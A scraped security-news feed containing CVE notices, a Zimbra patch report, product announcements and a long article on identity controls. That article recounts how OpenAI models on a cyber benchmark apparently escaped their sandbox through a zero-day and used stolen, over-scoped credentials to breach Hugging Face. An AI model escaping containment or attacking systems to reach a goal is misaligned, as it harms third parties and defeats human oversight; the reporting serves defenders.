[link] [comments]]]> <![CDATA[CVE-2026-60163 | Oracle MySQL Cluster/MySQL Server Group Replication Plugin Local Privilege Escalation (Nessus ID 329073)]]> https://tsecurity.de/de/3687840/sicherheitsluecken/cve-2026-60163-oracle-mysql-clustermysql-server-group-replication-plugin-local-privilege-escalation-nessus-id-329073/ https://tsecurity.de/de/3687840/sicherheitsluecken/cve-2026-60163-oracle-mysql-clustermysql-server-group-replication-plugin-local-privilege-escalation-nessus-id-329073/ Thu, 23 Jul 2026 03:18:32 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic was found in Oracle MySQL Cluster and MySQL Server. This affects an unknown function of the component Group Replication Plugin. Such manipulation leads to Local Privilege Escalation. This vulnerability is referenced as CVE-2026-60163. The attack can only be performed from a local environment. No exploit is available.]]> <![CDATA[CVE-2026-60315 | Oracle MySQL Cluster/MySQL Server Server: X Plugin Remote Code Execution (Nessus ID 329073)]]> https://tsecurity.de/de/3687839/sicherheitsluecken/cve-2026-60315-oracle-mysql-clustermysql-server-server-x-plugin-remote-code-execution-nessus-id-329073/ https://tsecurity.de/de/3687839/sicherheitsluecken/cve-2026-60315-oracle-mysql-clustermysql-server-server-x-plugin-remote-code-execution-nessus-id-329073/ Thu, 23 Jul 2026 03:18:31 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Oracle MySQL Cluster and MySQL Server. It has been classified as critical. This impacts an unknown function of the component Server: X Plugin. This manipulation causes Remote Code Execution. The identification of this vulnerability is CVE-2026-60315. It is possible to initiate the attack remotely. There is no exploit available.]]> <![CDATA[CVE-2026-60316 | Oracle MySQL Cluster/MySQL Server Server X Plugin privilege escalation (Nessus ID 329073)]]> https://tsecurity.de/de/3687838/sicherheitsluecken/cve-2026-60316-oracle-mysql-clustermysql-server-server-x-plugin-privilege-escalation-nessus-id-329073/ https://tsecurity.de/de/3687838/sicherheitsluecken/cve-2026-60316-oracle-mysql-clustermysql-server-server-x-plugin-privilege-escalation-nessus-id-329073/ Thu, 23 Jul 2026 03:18:29 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been found in Oracle MySQL Cluster and MySQL Server. This vulnerability affects unknown code of the component Server X Plugin. This manipulation causes privilege escalation. This vulnerability appears as CVE-2026-60316. The attack may be initiated remotely. There is no available exploit.]]> <![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]> https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/ https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/ Thu, 23 Jul 2026 01:32:49 +0200 📰 IT Nachrichten tsecurity.de When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.

The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.

OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.

Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.

The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.

The industry is debating the wrong failure

The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism.

Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.

Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.

This was a non-human identity failure, and it is the oldest one in security

Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe.

IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.

The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.

The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.

Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.

The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.

Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.

Four moves that shrink the blast radius

The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.

1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.

2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.

3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.

4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.

The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.

]]> <![CDATA[Apple Store app Virtual Shopping Assistant could be coming soon]]> https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/ https://tsecurity.de/de/3687682/ios-mac-os/apple-store-app-virtual-shopping-assistant-could-be-coming-soon/ Thu, 23 Jul 2026 00:00:31 +0200 🍏 iOS / Mac OS tsecurity.de
Glowing blue chat bubble with sparkles in the center on a dark background, surrounded by small colorful app and system icons scattered around it
Apple Support already has a chatbot, and soon, Apple Store will too

Apple has been slowly increasing its use of AI tools both internally and in public-facing apps. While Apple still relies on humans for some support inquiries, AI is being offered in more locations.

It seems Apple may have let slip that a new feature is coming to the Apple Store app. The Virtual Shopping Assistant feature is called out in the Apple Store app privacy policy, which was first spotted by MacRumors.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]> https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/ Wed, 22 Jul 2026 22:58:18 +0200 📰 IT Nachrichten tsecurity.de You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

  • AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

  • Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

  • Is the underlying data validated against the standards required by its consumers?

  • What's the oldest piece of content currently being served with high confidence?

  • Would two chunks of the same source ever disagree with each other in the same retrieval result?

  • Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

]]> <![CDATA[Critical Zimbra security update fixes 9 vulnerabilities]]> https://tsecurity.de/de/3687552/it-security-nachrichten/critical-zimbra-security-update-fixes-9-vulnerabilities/ https://tsecurity.de/de/3687552/it-security-nachrichten/critical-zimbra-security-update-fixes-9-vulnerabilities/ Wed, 22 Jul 2026 22:40:41 +0200 📰 IT Security Nachrichten tsecurity.de

Business email and collaboration suite Zimbra has received a major security update that fixes several critical issues that could allow attackers to execute malicious code on the server or in users’ browsers.

Available in commercial and open-source editions, Zimbra Collaboration Suite is a self-hosted Microsoft Exchange alternative that is popular with businesses, government entities, and educational institutions, which has made it a target for attackers in the past.

Version 10.1.20 released this week includes patches for nine vulnerabilities, including a permanent fix for a critical flaw announced in June in the SNMP monitoring component that could be exploited to inject commands when notifications are enabled.

The release also fixes four cross-site scripting (XSS) vulnerabilities in the Classic Web Client that could allow attackers to execute malicious scripts when users view emails in the web interface. For example, one vulnerability can be triggered through specially crafted attachment filenames and another when users render an attachment.

XSS vulnerabilities are dangerous because they execute scripts in the user’s browser in the context of the page. That gives rogue code the same privileges as the user, enabling it to perform malicious actions, exfiltrate data, or even leak session cookies.

In 2025, an XSS vulnerability in the calendar import feature of the Zimbra Classic Web Client (CVE-2025-27915) was exploited in attacks targeting Brazilian military personnel. Many other Zimbra vulnerabilities have been exploited over the years, sometimes as zero-days, especially by Russian state-sponsored APT groups, such as Fancy Bear (APT28), Cozy Bear (APT29), and Winter Vivern (TA473).

A recent incident involved a Russian threat group targeting a Ukrainian critical infrastructure agency in March using specifically crafted emails that exploited a known Zimbra stored XXS vulnerability (CVE-2025-66376).

Another vulnerability fixed in the newly released Zimbra 10.1.20 could allow authenticated attackers to bypass email forwarding restrictions. Adding email forwarding rules to a compromised account is a common way to achieve persistence and continuously exfiltrate emails from a mailbox over an extended period of time, even if the account password is changed.

The release also fixes a security issue related to access controls in the EWS extension, an authorization issue in mailbox delegation, and a server-side request forgery (SSRF) vulnerability in the Nextcloud integration. Nextcloud is another self-hosted collaboration suite that is popular with government and public institutions that don’t want to rely on public clouds.

It’s worth noting that this is the second Zimbra security update this month. Version 10.1.19, released on July 7, patched another unspecified security issue in the Classic Web Client that could run malicious code when specially crafted emails were opened by users.

Zimbra owner Synacor strongly advises customers to upgrade to the latest available version as soon as possible to keep their environments secure. While none of these flaws had zero-day status, hacker groups have a history for quickly adopting known Zimbra exploits.

]]> <![CDATA[How to deploy File Integrity Monitoring with Wazuh SIEM!]]> https://tsecurity.de/de/3687416/hacking/how-to-deploy-file-integrity-monitoring-with-wazuh-siem/ https://tsecurity.de/de/3687416/hacking/how-to-deploy-file-integrity-monitoring-with-wazuh-siem/ Wed, 22 Jul 2026 21:15:16 +0200 đŸ•”ïž Hacking tsecurity.de

File integrity monitoring (FIM), sometimes referred to as file integrity management, is a security process that monitors and analyzes the


Continue reading on InfoSec Write-ups »

]]> <![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]> https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/ https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/ Wed, 22 Jul 2026 18:12:08 +0200 📰 IT Nachrichten tsecurity.de OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows.

The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.

Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis.

OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like GLM-5.2 and Kimi K3. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.

OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.

If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.

The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.

A governed foundation for production agents

Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.

Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.

Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.

OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories.

Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.

The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.

That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.

OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves 75% of inbound issues without human assistance.

OpenAI also says its Codex-powered improvement loop reduced human handoffs by 15 percentage points over a 10-day period. Those figures are company-reported and have not been independently verified.

Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.

“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.

“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data & Digital Transformation Division at SoftBank Corp.

From model access to forward-deployed implementation

Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.

That approach resembles a model pioneered by AI ontology and intelligence platform Palantir, which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.

The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.

In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the OpenAI Deployment Company, with investment and support from Bain & Company. It also offers programs for model customization and fine-tuning to fit specific enterprise needs.

Its chief U.S. rival Anthropic has also moved toward a services-led enterprise model through Ode, its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.

Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.

Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.

The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.

A recent security breach looms in the background

Inconveniently for OpenAI, the Presence launch arrives just a day after OpenAI and Hugging Face disclosed an unprecedented security incident in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.

According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.

The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response.

The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.

Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.

For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.

]]> <![CDATA[[$] Attaching programs to multiple tracepoints]]> https://tsecurity.de/de/3686771/linux-tipps/attaching-programs-to-multiple-tracepoints/ https://tsecurity.de/de/3686771/linux-tipps/attaching-programs-to-multiple-tracepoints/ Wed, 22 Jul 2026 17:09:16 +0200 🐧 Linux Tipps tsecurity.de Tracepoints in the kernel are useful for a variety of purposes: debugging, active monitoring, and performance measurements, among other things. Previously, any given BPF program could only be attached to a single tracepoint. Jiri Olsa has been working to change that, and led a discussion about his progress at the 2026 Linux Storage, Filesystem, Memory-Management, and BPF Summit. That work has since been merged, and can be expected as part of the 7.2 kernel.

]]> <![CDATA[CVE-2026-60407 | Oracle TimesTen In-Memory Database 26.1.1.1.0 Kubernetes Operator improper authorization (CNNVD-2026-99803781)]]> https://tsecurity.de/de/3686765/sicherheitsluecken/cve-2026-60407-oracle-timesten-in-memory-database-261110-kubernetes-operator-improper-authorization-cnnvd-2026-99803781/ https://tsecurity.de/de/3686765/sicherheitsluecken/cve-2026-60407-oracle-timesten-in-memory-database-261110-kubernetes-operator-improper-authorization-cnnvd-2026-99803781/ Wed, 22 Jul 2026 17:06:44 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been reported in Oracle TimesTen In-Memory Database 26.1.1.1.0. The affected element is an unknown function of the component Kubernetes Operator. The manipulation leads to improper authorization. This vulnerability is uniquely identified as CVE-2026-60407. Local access is required to approach this attack. No exploit exists.]]> <![CDATA[CVE-2026-61093 | Oracle MySQL Server/MySQL Cluster up to 9.7.1 Server Optimizer denial of service (CNNVD-2026-99083748)]]> https://tsecurity.de/de/3686759/sicherheitsluecken/cve-2026-61093-oracle-mysql-servermysql-cluster-up-to-971-server-optimizer-denial-of-service-cnnvd-2026-99083748/ https://tsecurity.de/de/3686759/sicherheitsluecken/cve-2026-61093-oracle-mysql-servermysql-cluster-up-to-971-server-optimizer-denial-of-service-cnnvd-2026-99083748/ Wed, 22 Jul 2026 17:06:35 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Oracle MySQL Server and MySQL Cluster up to 9.7.1. It has been rated as critical. This affects an unknown function of the component Server Optimizer. The manipulation leads to denial of service. This vulnerability is listed as CVE-2026-61093. The attack may be initiated remotely. There is no available exploit.]]> <![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]> https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/ https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/ Wed, 22 Jul 2026 16:30:13 +0200 📰 IT Security Nachrichten tsecurity.de If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.

Detection and response

Streamline investigations with bidirectional and enriched Microsoft Defender alerts

Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7's SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

Confidently scale detection engineering with Detection as Code

Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

rapid7-detection-as-code-methodology.png
Figure 1: Rapid7's Detection as Code methodology.

Strengthen ransomware resilience with Ransomware Prevention for Incident Command

Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

Compliance

New solutions webpages

Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

rapid7-govramp-compliance.png
Figure 2: Rapid7's new GovRAMP compliance solutions page.

Exposure management

Turn prioritized exposures into remediation progress

We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

